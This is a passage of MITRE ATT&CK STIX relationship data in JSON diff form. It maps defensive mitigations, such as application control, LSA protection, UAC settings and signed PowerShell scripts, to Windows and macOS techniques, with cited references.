Group Policy to disable screensavers if they are unnecessary.(Citation: TechNet Screensaver GP)", + "target_ref": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf", + "modified": "2020-03-23T12:23:05.068Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T13:51:01.409Z", + "external_references": [ + { + "source_name": "TechNet Screensaver GP", + "description": "Microsoft. (n.d.). Customizing the Desktop. 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Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ccec5b80-e16a-4379-926f-08c1c821497a", + "description": "Adversaries can replace accessibility features binaries with alternate binaries to execute this technique. Identify and block potentially malicious software executed through accessibility features functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "modified": "2021-08-23T20:25:22.088Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T14:32:40.526Z", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e525352e-0d7e-41e4-bb35-9c50f9ef39c6", + "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "modified": "2020-01-24T14:32:40.533Z", + "source_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T14:32:40.533Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4fd63ec9-e2ad-4473-b9ed-90d7dfe378e8", + "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "modified": "2020-01-24T14:33:05.871Z", + "source_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T14:33:05.871Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f3b4fdd4-24fa-48ed-8ffb-f80ad651c797", + "description": "Restrict execution of Msiexec.exe to privileged accounts or groups that need to use it to lessen the opportunities for malicious usage.", + "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", + "modified": "2021-06-07T19:57:27.003Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T14:43:54.309Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--db8a5d74-11f0-4773-aae8-43a0a6f85f61", + "description": "Adversaries install new AppCertDLL binaries to execute this technique. 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Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a72f9e78-41af-40c7-bce3-9e1e21d956e2", + "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "modified": "2020-01-24T14:47:41.988Z", + "source_ref": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T14:47:41.988Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ecf3d7ec-a8f9-435a-9c09-6d264f319728", + "target_ref": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c", + "modified": "2020-01-24T14:48:05.786Z", + "source_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T14:48:05.786Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--af684c27-a63f-4193-8293-f5b3554a3e58", + "description": "Upgrade to Windows 8 or later and enable secure boot.", + "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "modified": "2020-03-24T20:34:10.201Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T14:52:25.773Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--65fa218e-b442-41ca-8fed-bccdb5523656", + "description": "Adversaries can install new AppInit DLLs binaries to execute this technique. Identify and block potentially malicious software executed through AppInit DLLs functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "modified": "2020-06-20T20:11:42.528Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T14:52:25.777Z", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--799eccf9-478d-421e-8f14-074b5546cb6a", + "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "modified": "2020-01-24T14:52:25.778Z", + "source_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T14:52:25.778Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ef087ae8-5b2c-4cc9-99f0-c3f9550fc94e", + "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "modified": "2020-01-24T14:52:55.449Z", + "source_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T14:52:55.449Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--80e94f61-c860-4cea-8d0e-c1dc88454bb5", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "target_ref": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec", + "modified": "2020-03-25T15:11:26.037Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T14:54:42.866Z", + "external_references": [ + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dc5a3635-08a0-4321-9d26-930fbe2a3fb5", + "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "modified": "2020-01-24T14:54:42.876Z", + "source_ref": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T14:54:42.876Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5329d477-4378-4635-8da8-ed427d7863fc", + "description": "Changing UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "modified": "2020-05-04T19:05:30.421Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T14:56:24.415Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e9fd0f73-917d-4d53-9843-a1314720942f", + "description": "Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.", + "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "modified": "2020-05-04T19:05:30.437Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T14:56:24.423Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--57a31238-b362-4c07-b8ae-45a619ece297", + "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "modified": "2020-01-24T14:56:24.425Z", + "source_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T14:56:24.425Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d15d091e-a720-4fb5-acfc-0982e23fe185", + "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "modified": "2020-01-24T15:00:47.394Z", + "source_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T15:00:47.394Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5a72e713-c8fb-4438-9a08-0ded824381dd", + "description": "Odbcconf.exe may not be necessary within a given environment.", + "target_ref": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071", + "modified": "2020-06-20T22:39:00.818Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T15:01:33.185Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8541e1a0-0cd5-44fc-bc88-c96b474bcaeb", + "description": "Use application control configured to block execution of Odbcconf.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071", + "modified": "2020-06-20T22:39:00.823Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T15:01:33.187Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8a468c91-7863-4569-8e5f-a71cd565478e", + "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "modified": "2020-01-24T15:05:58.613Z", + "source_ref": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T15:05:58.613Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--22c5d62b-40cd-4dce-9b6d-7836b67ee7f5", + "target_ref": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", + "modified": "2020-01-24T15:06:36.002Z", + "source_ref": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T15:06:36.002Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ba660d12-81f6-49fe-baf2-fda6d5bda761", + "description": "Avoid PowerShell profiles if not needed. Use the -No Profile flag with when executing PowerShell scripts remotely to prevent local profiles and scripts from being executed.", + "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "modified": "2020-03-24T21:31:31.296Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T15:11:02.982Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6b4cb169-cda8-49ef-a8db-188c599f50f1", + "description": "Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", + "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "modified": "2020-03-24T21:31:31.297Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T15:11:02.994Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1628074c-99e3-42b3-bea9-85c7fe6a6bb8", + "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "modified": "2020-01-24T15:11:03.012Z", + "source_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T15:11:03.012Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--40d44aff-2f5f-4494-aa06-4ea1390df453", + "description": "Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified.", + "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "modified": "2020-03-24T21:31:31.289Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T15:11:03.009Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d3cbff81-245f-4025-a24a-f9ca5e006fb4", + "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "modified": "2020-01-24T15:11:53.692Z", + "source_ref": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T15:11:53.692Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b02a8c2b-3ead-4546-9e68-d1545c5fcdd7", + "description": "Consider disabling emond by removing the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) plist file.", + "target_ref": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd", + "modified": "2020-03-24T21:37:25.452Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T15:15:13.613Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--da407f63-38cf-4247-b0bc-967ce74a2d78", + "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "modified": "2020-01-24T15:15:13.616Z", + "source_ref": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T15:15:13.616Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8bcaac7c-46c8-459a-a55c-b1e218c62cfc", + "target_ref": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd", + "modified": "2020-01-24T15:15:44.235Z", + "source_ref": "attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T15:15:44.235Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--da0d2c02-a213-4815-a653-1e9b0a1b2841", + "target_ref": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec", + "modified": "2020-01-24T15:43:25.420Z", + "source_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T15:43:25.420Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--328fdf30-3195-4d15-b99c-bf14cc236a90", + "description": "Consider using Group Policy to configure and block additions/modifications to W32Time DLLs. (Citation: Microsoft W32Time May 2017)", + "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", + "modified": "2020-03-25T15:24:26.667Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T15:51:52.464Z", + "external_references": [ + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--08f53e1a-7326-48ed-ac0e-2b0af2d93985", + "description": "Consider using Group Policy to configure and block modifications to W32Time parameters in the Registry. (Citation: Microsoft W32Time May 2017)", + "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", + "modified": "2020-03-25T15:24:26.686Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T15:51:52.476Z", + "external_references": [ + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c535d995-bafd-47a3-9417-26e2e1080eb7", + "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "modified": "2020-01-24T15:51:52.478Z", + "source_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-01-24T15:51:52.478Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--afb0685e-2c5c-4eec-9205-b1afdab4eda5", + "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", + "modified": "2020-01-24T16:48:51.340Z", + "source_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-01-24T16:48:51.340Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--796ea220-2948-461b-9948-4290eec8dbf6", + "description": "Identify and block potentially malicious software that may be executed through the Winlogon helper process by using application control (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", + "modified": "2021-08-23T20:25:22.097Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T17:00:00.069Z", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bfce35b9-7ae9-4194-83a7-5e5ff1481551", + "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.", + "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", + "modified": "2020-04-21T16:00:41.469Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-01-24T17:00:00.072Z" + }, + { + "object_marking_refs": [ + 